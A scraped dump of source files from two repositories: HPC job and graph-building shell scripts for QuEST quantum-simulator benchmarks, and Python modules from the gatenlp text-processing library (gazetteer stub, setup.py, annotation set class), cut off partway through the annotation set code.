../../../..\nmake\n\nNUM_QUBITS=32\nNUM_TRIALS=50\nEXE=demo\n\nsrun --hint=nomultithread --distribution=block:block ./$EXE $NUM_QUBITS $NUM_TRIALS\n\ncp TIMING* ..\n\n" }, { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 47, "blob_id": "f1b2352d51ff16ce7e40df4942cb36aa9060bc84", "content_id": "868dc1f659fb68c0e52ccff6774cd74ab8c6710e", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 48, "license_type": "permissive", "max_line_length": 47, "num_lines": 1, "path": "/compactUnitary/graphing/weakScalingMaxSizeArcher/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=archer_weakScaling graph.tex\n" }, { "alpha_fraction": 0.804347813129425, "alphanum_fraction": 0.804347813129425, "avg_line_length": 44, "blob_id": "3e7fa81ef941d178c6daee90a60e70dea4a00b96", "content_id": "d9b9c77dfc79937e6e63e3832e074b386fec2e80", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 46, "license_type": "permissive", "max_line_length": 44, "num_lines": 1, "path": "/compactUnitary/graphing/weakScalingMaxSizeArcus-sim/gen_weakScaling.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=sim_weakScaling graph.tex\n\n" }, { "alpha_fraction": 0.6848137378692627, "alphanum_fraction": 0.7263610363006592, "avg_line_length": 18.94285774230957, "blob_id": "0de70a934b9e6e96292e045aa82784dc0f39944b", "content_id": "9a295f987241f2c8f94ddf5a928c8bedf0038da0", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 698, "license_type": "permissive", "max_line_length": 109, "num_lines": 35, "path": "/randomCircuit/archer/15qubits4ranks24threads/mpiJob.pbs", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "#!/bin/bash --login\n\n# set the number of nodes and processes per node. We are running one process on a single node\n#PBS -l select=4\n\n#PBS -l walltime=00:20:00\n\n# set name of job\n#PBS -N QuEST\n\n#PBS -A c01-plasma\n#PBS -q short\n\nmodule swap PrgEnv-cray PrgEnv-intel/5.2.82\nmodule load cmake/3.5.2\n\nexport KMP_AFFINITY=disabled\nexport OMP_NUM_THREADS=24\n\ncd $PBS_O_WORKDIR\n\nCMAKE_OPTIONS=\"-DUSER_SOURCE='RandomCircuit.c;RandomCircuitTimer.c' -DQuEST_DIR=QuEST_v2.1.0 -DDISTRIBUTED=1\"\nexport CRAYPE_LINK_TYPE=dynamic\nrm -r build\nmkdir build; cd build\ncmake $CMAKE_OPTIONS ../../..\nmake\n\nNUM_QUBITS=15\nNUM_TRIALS=20\nEXE=demo\n\naprun -n 4 -d 24 -cc numa_node ./$EXE $NUM_QUBITS $NUM_TRIALS\n\ncp TIMING* ..\n" }, { "alpha_fraction": 0.8070175647735596, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 56, "blob_id": "1909386996fa185443d832a21b44761f6fd29ec2", "content_id": "a63630cd75d77773e744bebc6747f8f97b88f40b", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 57, "license_type": "permissive", "max_line_length": 56, "num_lines": 1, "path": "/randomCircuit/graphing/strongScaling30QubitArcus/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=arcus_30qubit_strongScaling graph.tex\n" }, { "alpha_fraction": 0.8297872543334961, "alphanum_fraction": 0.8297872543334961, "avg_line_length": 46, "blob_id": "06f4f570fa500bf0c9696f3cdd3c7cf6904f34c1", "content_id": "6fa542d1692ab76b760d711e06d2fe405dd70cde", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 47, "license_type": "permissive", "max_line_length": 46, "num_lines": 1, "path": "/compactUnitary/graphing/weakScalingMaxSizeArcus/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=arcus_weakScaling graph.tex\n" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.8181818127632141, "avg_line_length": 53, "blob_id": "d740043f7b2f4cb271e9bb4f9b60fe1c45beeb6c", "content_id": "48a11b7d24cb63586a395f1df91859e8703b14f3", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 55, "license_type": "permissive", "max_line_length": 53, "num_lines": 1, "path": "/compactUnitary/graphing/weakScalingMaxSizeArcus-sim/gen_weakScaling_3islands.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=sim_weakScaling_3islands graph.tex\n\n" }, { "alpha_fraction": 0.8070175647735596, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 56, "blob_id": "6fe2828b87b09d145a5fba6076f9cdf67267598a", "content_id": "b128ddea79e398dd05f6239d5a967c0d4003ba00", "detected_licenses": [ "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 114, "license_type": "permissive", "max_line_length": 57, "num_lines": 2, "path": "/randomCircuit/graphing/strongScaling30QubitAll/genPDFs.sh", "repo_name": "aniabrown/QuEST_Performance_v2.1.0", "src_encoding": "UTF-8", "text": "pdflatex --jobname=archer_30qubit_strongScaling graph.tex\npdflatex --jobname=archer_30qubit_inverseTime graph.tex\n" } ]
19
davidwilby/python-gatenlp
https://github.com/davidwilby/python-gatenlp
c4e2125714d963abcc89ac8beb234646b69accdc
07493e1f290cf607b56d2d9071f934e1b24c12a3
4f3f51d17bb395e971531bbc3da1100d5466dbd0
refs/heads/main
2023-08-19T21:05:04.372500
2021-10-12T08:14:38
2021-10-12T08:14:38
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5237932801246643, "alphanum_fraction": 0.5253832936286926, "avg_line_length": 36.15189743041992, "blob_id": "605e594a1fda6055581a06bcc4e9d2f440a997dd", "content_id": "de9828cccd96d338dca082a1d43335381ef7827c", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8805, "license_type": "permissive", "max_line_length": 113, "num_lines": 237, "path": "/gatenlp/processing/gazetteer/stringgazetteer.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nThis module provides Gazetteer classes which allow matching the text or the tokens of documents against\ngazetteer lists, lists of interesting texts or token sequences and annotate the matches with features from the\ngazetteer lists.\n\"\"\"\n\nfrom recordclass import structclass\nfrom gatenlp.utils import init_logger\nfrom gatenlp.processing.gazetteer.base import GazetteerAnnotator\n\n\n# TODO: Implement the StringGazetteer!!!!!!!!!!!!!!!!!!!!!!\n\n# NOTE: Match was a dataclass originally\nMatch = structclass(\"Match\", (\"start\", \"end\", \"match\", \"entrydata\", \"matcherdata\"))\n\n\n_NOVALUE = object()\n\nimport sys\n\n\nclass _Node:\n \"\"\"\n Trie Node: represents the value and the children.\n \"\"\"\n\n __slots__ = (\"children\", \"value\")\n\n def __init__(self):\n self.children = dict()\n self.value = _NOVALUE\n\n # Will get removed or replaced with a proper pretty-printer!\n def debug_print_node(self, file=sys.stderr):\n if self.value == _NOVALUE:\n print(\"Node(val=,children=[\", end=\"\", file=file)\n else:\n print(f\"Node(val={self.value},children=[\", end=\"\", file=file)\n for c, n in self.children.items():\n print(f\"{c}:\", end=\"\", file=file)\n n.print_node()\n print(\"])\", end=\"\", file=file)\n\n\nclass StringGazetteer(GazetteerAnnotator):\n def __init__(\n self, ignorefunc=None, mapfunc=None, matcherdata=None, defaultdata=None\n ):\n \"\"\"\n NOTE: NOT YET IMPLEMENTED! (code copied from Matcher package, mostly unchanges)\n\n Create a String Gazetteer.\n\n Args:\n ignorefunc: a predicate that returns True for any token that should be ignored.\n mapfunc: a function that returns the string to use for each token.\n matcherdata: data to add to all matches in the matcherdata field\n defaultdata: data to add to matches when the entry data is None\n \"\"\"\n # TODO: need to figure out how to handle word boundaries\n # TODO: need to figure out how to handle matching spaces vs. different spaces / no spaces!\n # self.nodes = defaultdict(Node)\n self.ignorefunc = ignorefunc\n self.mapfunc = mapfunc\n self.defaultdata = defaultdata\n self.matcherdata = matcherdata\n self._root = _Node()\n self.logger = init_logger(__name__)\n raise Exception(\"Not yet implemented\")\n\n def add(self, entry, data=None, listdata=None, append=False):\n \"\"\"\n Add a gazetteer entry or several entries if \"entry\" is iterable and not a string and store its data.\n Note that data has to be a non-None value to indicate that this entry is in the tree (e.g. True).\n\n If an entry already exists, the data is replaced with the new data unless append is True\n in which case the data is appended to the list of data already there.\n\n If all elements of the entry are ignored, nothing is done.\n\n :param entry: a string\n :param data: the data to add for that gazetteer entry.\n :param listdata: the list data to add for that gazeteer entry.\n :param append: if true and data is not None, store data in a list and append any new data\n :return:\n \"\"\"\n if isinstance(entry, str):\n entry = [entry]\n for e in entry:\n node = self._get_node(e, create=True)\n if node == self._root:\n # empty string not allowed\n continue\n if node.value == _NOVALUE:\n if append:\n node.value = [data]\n else:\n node.value = data\n else:\n if append:\n node.value.append(data)\n else:\n node.value = data\n\n def find(\n self, text, all=False, skip=True, fromidx=None, toidx=None, matchmaker=None\n ):\n \"\"\"\n Find gazetteer entries in text.\n ignored.\n :param text: string to search\n :param all: return all matches, if False only return longest match\n :param skip: skip forward over longest match (do not return contained/overlapping matches)\n :param fromidx: index where to start finding in tokens\n :param toidx: index where to stop finding in tokens (this is the last index actually used)\n :return: an iterable of Match. The start/end fields of each Match are the character offsets if\n text is a string, otherwise are the token offsets.\n \"\"\"\n matches = []\n lentext = len(text)\n if fromidx is None:\n fromidx = 0\n if toidx is None:\n toidx = lentext - 1\n if fromidx >= lentext:\n return matches\n if toidx >= lentext:\n toidx = lentext - 1\n if fromidx > toidx:\n return matches\n i = fromidx\n self.logger.debug(f\"From index {i} to index {toidx} for {text}\")\n while i < toidx:\n chr = text[i]\n if self.ignorefunc and self.ignorefunc(chr):\n i += 1\n continue\n if self.mapfunc:\n chr = self.mapfunc(chr)\n longest_len = 0\n longest_match = None\n node = self._root\n node = node.children.get(chr)\n k = 0\n while node is not None:\n if node.value != _NOVALUE:\n # we found a match\n cur_len = k + 1\n if matchmaker:\n match = matchmaker(\n i,\n i + k + 1,\n text[i: i + k + 1],\n node.value,\n self.matcherdata,\n )\n else:\n match = Match(\n i,\n i + k + 1,\n text[i: i + k + 1],\n node.value,\n self.matcherdata,\n )\n if all:\n matches.append(match)\n else:\n # NOTE: only one longest match is possible, but it can have a list of data if append=True\n if cur_len > longest_len:\n longest_len = cur_len\n longest_match = match\n while True:\n k += 1\n if i + k >= len(text):\n break\n chr = text[i + k]\n if self.ignorefunc and self.ignorefunc(chr):\n continue\n if self.mapfunc:\n chr = self.mapfunc(chr)\n node = node.children.get(chr)\n break\n if i + k >= len(text):\n break\n if not all and longest_match is not None:\n matches.append(longest_match)\n if skip:\n i += max(k, 1)\n else:\n i += 1\n return matches\n\n def __setitem__(self, key, value):\n node = self._get_node(key, create=True)\n node.value = value\n\n def __getitem__(self, item):\n node = self._get_node(item, create=False, raise_error=True)\n if node.value == _NOVALUE:\n raise KeyError(item)\n return node.value\n\n def get(self, item, default=None):\n node = self._get_node(item, create=False, raise_error=False)\n if node is None:\n return default\n if node.value == _NOVALUE:\n return default\n return node.value\n\n def _get_node(self, item, create=False, raise_error=True):\n \"\"\"\n Returns the node corresponding to the last character in key or raises a KeyError if create is False\n and the node does not exist. If create is True, inserts the node.\n\n :param item: the key for which to find a node\n :param create: if True, insert all necessary nodes\n :param raise_error: if True and create is False, raises an error if not found, if False, returns None\n :return: the node corresponding to the key or None if no node found and raise_error is False\n \"\"\"\n node = self._root\n for el in item:\n if self.ignorefunc and self.ignorefunc(el):\n continue\n if self.mapfunc:\n el = self.mapfunc(el)\n if create:\n node = node.children.setdefault(el, _Node())\n else:\n node = node.children.get(el)\n if not node:\n if raise_error:\n raise KeyError(item)\n else:\n return None\n return node\n" }, { "alpha_fraction": 0.5740352272987366, "alphanum_fraction": 0.5838926434516907, "avg_line_length": 33.802921295166016, "blob_id": "cec9c8aa41cda2511280bf49b4ba79f8a15d84b2", "content_id": "e1bb5d8e21bd92c5f45c9fc6aaf4308a7871031d", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4768, "license_type": "permissive", "max_line_length": 109, "num_lines": 137, "path": "/setup.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"Packaging script for the gatenlp library.\"\"\"\nimport sys\nimport os\nfrom setuptools import setup, find_packages\nimport re\n\nif sys.version_info < (3, 6):\n sys.exit(\"ERROR: gatenlp requires Python 3.6+\")\n\nJARFILE = \"gatetools-gatenlpworker-1.0.jar\"\nJARFILE_DEST = os.path.join(\n \"_jars\", JARFILE\n) # where it should be relative to the gatenlp package\n\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, \"README.md\")) as f:\n readme = f.read()\n\n\ndef versionfromfile(*filepath):\n infile = os.path.join(here, *filepath)\n with open(infile) as fp:\n version_match = re.search(\n r\"^__version__\\s*=\\s*['\\\"]([^'\\\"]*)['\\\"]\", fp.read(), re.M\n )\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string in {}.\".format(infile))\n\n\nversion = versionfromfile(\"gatenlp/version.py\")\n\n\ndef get_install_extras_require():\n extras_require = {\n \"formats\": [\"msgpack\", \"pyyaml>=5.2\", \"beautifulsoup4>=4.9.3\", \"requests\", \"conllu\"],\n \"basic\": [\"recordclass\"],\n \"java\": [\"py4j\"],\n \"stanza\": [\"stanza>=1.3.0\"],\n \"spacy\": [\"spacy>=2.2\"],\n \"nltk\": [\"nltk>=3.5\"],\n \"gazetteers\": [\"matchtext\", \"recordclass\"],\n # the following are not included in all but in alldev\n \"notebook\": [\n \"ipython\",\n \"ipykernel\",\n \"jupyterlab\",\n \"notebook\",\n \"voila\",\n \"RISE\",\n \"ipywidgets\",\n ],\n \"dev\": [\n \"pytest\",\n \"pytest-pep8\",\n \"pytest-cov\",\n \"pytest-runner\",\n \"sphinx\",\n \"pdoc3\",\n \"tox\",\n \"mypy\",\n \"bandit\",\n \"prospector[with_pyroma,with_vulture,with_mypy,with_bandid,with_frosted]\",\n # TODO: have to figure out why we need this? Maybe because we added jupyterlab,notebook,voila\n \"pytest-tornasync\",\n \"black[d]\", # for automatic code formatting\n ],\n }\n # Add automatically the 'all' and 'alldev' targets\n add_all = [pck for lst in extras_require.values() for pck in lst if pck not in [\"dev\", \"notebook\"]]\n add_alldev = [pck for lst in extras_require.values() for pck in lst]\n extras_require.update({\"all\": add_all, \"alldev\": add_alldev})\n return extras_require\n\n\nsetup(\n name=\"gatenlp\",\n version=version,\n author=\"Johann Petrak\",\n author_email=\"[email protected]\",\n url=\"https://github.com/GateNLP/python-gatenlp\",\n keywords=[\"nlp\", \"text processing\"],\n description=\"GATE NLP implementation in Python.\",\n long_description=readme,\n long_description_content_type=\"text/markdown\",\n setup_requires=[\n # deliberately not used, since it installs packages without pip, use the \"dev\" extras instead\n ],\n install_requires=[\n \"sortedcontainers>=2.0.0\",\n ],\n extras_require=get_install_extras_require(),\n # NOTE: this is not actually used since it will not work with gatenlp version reporting\n # from the gateplugin-Python plugin (since _version.py is not/should not get committed, only distributed)\n # (this would also not work if we deploy after committing)\n python_requires=\">=3.6\",\n tests_require=[\"pytest\", \"pytest-cov\"],\n platforms=\"any\",\n license=\"Apache License 2.0\",\n packages=find_packages(),\n package_data={\n \"gatenlp\": [\n JARFILE_DEST,\n os.path.join(\"serialization\", \"_htmlviewer\", \"gatenlp-ann-viewer.html\"),\n os.path.join(\n \"serialization\", \"_htmlviewer\", \"gatenlp-ann-viewer-merged.js\"\n ),\n ]\n },\n # include_package_data=True,\n # data_files=[(\"share/gatenlp\", [JARFILE_PATH])],\n test_suite=\"tests\",\n entry_points={\"console_scripts\": [\"gatenlp-gate-worker=gatenlp.gateworker:run_gate_worker\"]},\n classifiers=[\n # \"Development Status :: 6 - Mature\",\n # \"Development Status :: 5 - Production/Stable\",\n \"Development Status :: 4 - Beta\",\n # \"Development Status :: 3 - Alpha\",\n # \"Development Status :: 2 - Pre-Alpha\",\n # \"Development Status :: 1 - Planning\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Science/Research\",\n \"Topic :: Scientific/Engineering\",\n \"License :: OSI Approved :: Apache Software License\",\n ],\n)\n" }, { "alpha_fraction": 0.37037035822868347, "alphanum_fraction": 0.5185185074806213, "avg_line_length": 26, "blob_id": "6cec4718c66c5f0bb48e7edaf1b52663023304d9", "content_id": "b7f6d8bbfa0676f268110755b78ac71777457446", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27, "license_type": "permissive", "max_line_length": 26, "num_lines": 1, "path": "/gatenlp/version.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "__version__ = \"1.0.6-dev0\"\n" }, { "alpha_fraction": 0.4093959629535675, "alphanum_fraction": 0.7718120813369751, "avg_line_length": 17.625, "blob_id": "0082620657b893e68b4237505f19220da39948df", "content_id": "0cf826efe2b36a8d2fd1dfda669a267382e2fcab", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 149, "license_type": "permissive", "max_line_length": 81, "num_lines": 8, "path": "/.pylintrc", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "[MESSAGES CONTROL]\n\ndisable=C0413,R0801,W0613,R1705,W0212,R0914,E1120,R0903,N802, R0913, R0902, R0201\n\n# disable=C0103\n\n[FORMAT]\nmax-line-length=127\n" }, { "alpha_fraction": 0.5691906213760376, "alphanum_fraction": 0.5703622698783875, "avg_line_length": 34.68375015258789, "blob_id": "ce1c90aa9d96528e3606c89589f8257d035e4aa8", "content_id": "50701381eab73f486f02c4f3fb3548aad7f9c548", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 52919, "license_type": "permissive", "max_line_length": 113, "num_lines": 1483, "path": "/gatenlp/annotation_set.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule for AnnotationSet class which represents a named collection of\nannotations which can arbitrarily overlap.\n\"\"\"\n\n# TODO: when should two sets be equal? Currently object identity is requried!\n\nfrom typing import Any, List, Union, Dict, Set, KeysView, Iterator, Generator\n# TODO: prior to Python 3.9 we need different Iterable definitions for typing and type checking\nfrom collections.abc import Iterable as abc_Iterable\nfrom typing import Iterable\nfrom collections import defaultdict\nimport copy\nfrom gatenlp.span import Span\nfrom gatenlp.annotation import Annotation\nfrom gatenlp.impl import SortedIntvls\nfrom gatenlp.utils import support_annotation_or_set, allowspan\n\n__pdoc__ = {\n \"AnnotationSet.__iter__\": True,\n \"AnnotationSet.__contains__\": True,\n \"AnnotationSet.__getitem__\": True,\n \"AnnotationSet.__len__\": True,\n}\n\n\nclass InvalidOffsetError(KeyError):\n \"\"\" \"\"\"\n\n pass\n\n\nclass AnnotationSet:\n def __init__(self, name: str = \"\", owner_doc=None):\n \"\"\"\n Creates an annotation set. This should not be used directly by the\n user, instead the method `Document.annset(name)` should be used to\n access the annotation set with a given name from the document.\n\n An annotation set contains an arbitrary number of annotations, which\n can overlap in arbitrary ways. Each annotation set has a name and a\n document can have as many named annotation sets as needed.\n\n\n Args:\n name: the name of the annotation set, default: the empty string\n (default annotation set)\n owner_doc: if this is set, the set and all sets created from it\n can be queried for the owning document and offsets get checked\n against the text of the owning document, if it has text.\n Also, the changelog is only updated if an annotation\n set has an owning document.\n \"\"\"\n self._name = name\n self._owner_doc = owner_doc\n self._index_by_offset = None\n self._index_by_ol = None\n self._index_by_type = None\n # internally we represent the annotations as a map from\n # annotation id (int) to Annotation\n self._annotations = {}\n self._is_immutable = False\n self._next_annid = 0\n\n @property\n def name(self):\n \"\"\"\n Returns the name of the annotation set.\n\n Note: the name of a set cannot be changed.\n \"\"\"\n return self._name\n\n @property\n def changelog(self):\n \"\"\"\n Returns the changelog or None if no changelog is set.\n \"\"\"\n if self._owner_doc is None:\n return None\n return self._owner_doc.changelog\n\n def __setattr__(self, key, value):\n \"\"\"\n Prevent immutable fields from getting overridden, once they have been\n set.\n \"\"\"\n if key == \"name\" or key == \"owner_doc\":\n if self.__dict__.get(key, None) is None:\n super().__setattr__(key, value)\n else:\n raise Exception(\n \"AnnotationSet attribute cannot get changed after being set\"\n )\n else:\n super().__setattr__(key, value)\n\n def detach(self, restrict_to=None):\n \"\"\"\n Creates an immutable and detached copy of this set, optionally\n restricted to the given annotation ids. A detached annotation\n set does not have an owning document and deleting or adding\n annotations does not change the annotations stored with the document.\n However, the annotations in a detached annotation set\n are the same as those stored in the attached set, so updating their\n features will modify the annotations in the document as well.\n\n Args:\n restrict_to: an iterable of annotation ids, if None, all the\n annotations from this set.\n\n Returns:\n an immutable annotation set\n \"\"\"\n annset = AnnotationSet(name=\"detached-from:\" + self.name)\n annset._is_immutable = True\n if restrict_to is None:\n annset._annotations = {\n annid: self._annotations[annid] for annid in self._annotations.keys()\n }\n else:\n annset._annotations = {\n annid: self._annotations[annid] for annid in restrict_to\n }\n annset._next_annid = self._next_annid\n return annset\n\n def detach_from(self, anns: Iterable):\n \"\"\"\n Creates an immutable detached annotation set from the annotations\n in anns which could by either a collection of annotations or\n annotation ids (int numbers) which are assumed to be the annotation\n ids from this set.\n\n The next annotation id for the created set is the highest seen\n annotation id from anns plus one.\n\n Args:\n anns: an iterable of annotations\n\n Returns:\n an immutable detached annotation set\n \"\"\"\n annset = AnnotationSet(name=\"detached-from:\" + self.name)\n annset._is_immutable = True\n annset._annotations = {}\n nextid = -1\n for ann in anns:\n if isinstance(ann, int):\n annset._annotations[ann] = self._annotations[ann]\n annid = ann\n else:\n annset._annotations[id] = ann\n annid = ann.id\n if annid > nextid:\n nextid = annid\n annset._next_annid = nextid + 1\n return annset\n\n @staticmethod\n def create_from(anns: Union[Iterable[Annotation], Annotation], name=None) -> None:\n \"\"\"\n Creates an immutable detached annotation set from the annotations\n in anns. The set contains shallow copies of the annotations and the\n annotation id is preserved, unless it is a duplicate in which the next\n available id is used.\n\n Args:\n anns: an iterable of annotations or a single annotation\n\n Returns:\n An immutable detached annotation set\n \"\"\"\n annset = AnnotationSet(name=name)\n annset._is_immutable = True\n annset._annotations = {}\n annset._next_annid = 0\n if isinstance(anns, Annotation):\n anns = [anns]\n for ann in anns:\n # if the id is already in the set, assign the next available one\n ann = ann.copy()\n if ann.id in annset._annotations:\n ann._id = annset._next_annid\n annset._annotations[annset._next_annid] = ann\n annset._next_annid += 1\n else:\n # if the id is not yet in the set, keep it and make sure that after adding,\n # the next annid is adapted, if necessary!\n annset._annotations[ann.id] = ann\n if ann.id >= annset._next_annid:\n annset._next_annid = ann.id + 1\n return annset\n\n\n\n @property\n def immutable(self) -> bool:\n \"\"\"\n Get or set the immutability of the annotation set. If it is\n immutable, annotations cannot be added or removed from the set,\n but the annotations themselves can still have their features modified.\n\n All detached annotation sets are immutable when created,\n but can be made mutable afterwards.\n \"\"\"\n return self._is_immutable\n\n @immutable.setter\n def immutable(self, val: bool) -> None:\n self._is_immutable = val\n\n def isdetached(self) -> bool:\n \"\"\"\n Returns True if the annotation set is detached, False otherwise.\n \"\"\"\n return self._owner_doc is None\n\n def _create_index_by_offset(self) -> None:\n \"\"\"\n Generates the offset index, if it does not already exist.\n The offset index is an interval tree that stores the annotation\n ids for the offset interval of the annotation.\n \"\"\"\n if self._index_by_offset is None:\n self._index_by_offset = SortedIntvls()\n for ann in self._annotations.values():\n self._index_by_offset.add(ann.start, ann.end, ann.id)\n\n def _create_index_by_ol(self) -> None:\n \"\"\"\n Generates an index by start offset, end offset and annotation id\n \"\"\"\n if self._index_by_ol is None:\n self._index_by_ol = SortedIntvls(by_ol=True)\n for ann in self._annotations.values():\n self._index_by_ol.add(ann.start, ann.end, ann.id)\n\n def _create_index_by_type(self) -> None:\n \"\"\"\n Generates the type index, if it does not already exist.\n The type index is a map from\n annotation type to a set of all annotation ids with that type.\n \"\"\"\n if self._index_by_type is None:\n self._index_by_type = defaultdict(set)\n for ann in self._annotations.values():\n self._index_by_type[ann.type].add(ann.id)\n\n def _add_to_indices(self, annotation: Annotation) -> None:\n \"\"\"\n If we have created the indices, add the annotation to them.\n\n Args:\n annotation: the annotation to add to the indices.\n annotation: Annotation:\n \"\"\"\n if self._index_by_type is not None:\n self._index_by_type[annotation.type].add(annotation.id)\n if self._index_by_offset is not None:\n self._index_by_offset.add(annotation.start, annotation.end, annotation.id)\n\n def _remove_from_indices(self, annotation: Annotation) -> None:\n \"\"\"\n Remove an annotation from the indices.\n\n Args:\n annotation: the annotation to remove.\n annotation: Annotation:\n \"\"\"\n if self._index_by_offset is not None:\n self._index_by_offset.remove(\n annotation.start, annotation.end, annotation.id\n )\n if self._index_by_type is not None:\n self._index_by_type[annotation.type].remove(annotation.id)\n\n @staticmethod\n def _intvs2idlist(intvs, ignore=None) -> List[int]:\n \"\"\"\n Convert an iterable of interval tuples (start, end, id) to a list of ids\n\n Args:\n intvs: iterable of interval tuples\n ignore: an optional annotation id that should not get included \n in the result (Default value = None)\n\n Returns:\n list of ids\n \"\"\"\n if ignore is not None:\n return [i[2] for i in intvs if i[2] != ignore]\n else:\n return [i[2] for i in intvs]\n\n @staticmethod\n def _intvs2idset(intvs, ignore=None) -> Set[int]:\n \"\"\"\n Convert an iterable of interval tuples (start, end, id) to a\n set of ids\n\n Args:\n intvs: iterable of interval tuples\n ignore: (Default value = None)\n\n Returns:\n set of ids\n \"\"\"\n ret = set()\n if ignore is not None:\n for i in intvs:\n if i[2] != ignore:\n ret.add(i[2])\n else:\n for i in intvs:\n ret.add(i[2])\n return ret\n\n def _restrict_intvs(self, intvs, ignore=None):\n \"\"\"\n\n Args:\n intvs:\n ignore: (Default value = None)\n \"\"\"\n return self.detach(\n restrict_to=AnnotationSet._intvs2idlist(intvs, ignore=ignore)\n )\n\n def __len__(self) -> int:\n \"\"\"\n Return number of annotations in the set.\n \"\"\"\n return len(self._annotations)\n\n @property\n def size(self) -> int:\n \"\"\"\n Returns the number of annotations in the annotation set.\n \"\"\"\n return len(self._annotations)\n\n @property\n def document(self):\n \"\"\"\n Returns the owning document, if set. If the owning document was not set, returns None.\n \"\"\"\n return self._owner_doc\n\n @support_annotation_or_set\n def _check_offsets(self, start: int, end: int, annid=None) -> None:\n \"\"\"\n Checks the offsets for the given span/annotation against the document boundaries, if we know the owning\n document and if the owning document has text.\n\n Args:\n start: start offset\n end: end offset\n annid: (Default value = None)\n \"\"\"\n if self._owner_doc is None:\n return\n if self._owner_doc.text is None:\n return\n doc_size = len(self._owner_doc)\n\n if start < 0:\n raise InvalidOffsetError(\"Annotation starts before 0\")\n if end < 0:\n raise InvalidOffsetError(\"Annotation ends before 0\")\n if start > end:\n raise InvalidOffsetError(\"Annotation ends before it starts\")\n if start > doc_size:\n raise InvalidOffsetError(\n \"Annotation starts after document ends: start={}, docsize={}\".format(\n start, doc_size\n )\n )\n if end > doc_size:\n raise InvalidOffsetError(\n \"Annotation ends after document ends: end={}, docsize={}\".format(\n end, doc_size\n )\n )\n\n @property\n def start(self):\n \"\"\"\n Returns the smallest start offset of all annotations, i.e the start\n of the span of the whole set. This needs the index and creates\n it if necessary.\n\n Throws:\n an exception if there are no annotations in the set.\n \"\"\"\n if self.size == 0:\n raise Exception(\"Annotation set is empty, cannot determine start offset\")\n self._create_index_by_offset()\n return self._index_by_offset.min_start()\n\n @property\n def end(self):\n \"\"\"\n Returns the end offset of the annotation set, i.e. the biggest end offset of any annotation.\n This needs the index and creates it if necessary.\n\n Throws:\n an exception if there are no annotations in the set.\n \"\"\"\n if self.size == 0:\n raise Exception(\"Annotation set is empty, cannot determine end offset\")\n self._create_index_by_offset()\n return self._index_by_offset.max_end()\n\n @property\n def length(self):\n \"\"\"\n Returns the the length of the annotation set span.\n\n Throws:\n an exception if there are no annotations in the set.\n \"\"\"\n return self.end - self.start\n\n @allowspan\n def add(\n self,\n start: int,\n end: int,\n anntype: str,\n features: Dict[str, Any] = None,\n annid: int = None,\n ):\n \"\"\"\n Adds an annotation to the set.\n Once an annotation has been added,\n the start and end offsets,\n the type, and the annotation id of the annotation are immutable.\n\n If an annotation id is specified that already exists in the set, an\n exception is raised.\n\n Args:\n start: start offset\n end: end offset\n anntype: the annotation type\n features: a map, an iterable of tuples or an existing feature map.\n In any case, the features are used\n to create a new feature map for this annotation. If the map\n is empty or this parameter is None, the\n annotation does not store any map at all.\n annid: the annotation id, if not specified the next free one\n for this set is used. NOTE: the id should\n normally left unspecified and get assigned automatically.\n\n Returns:\n the new annotation\n \"\"\"\n if annid is not None and not isinstance(annid, int):\n raise Exception(\"Parameter annid must be an int, mixed up with features?\")\n if features is not None and isinstance(features, 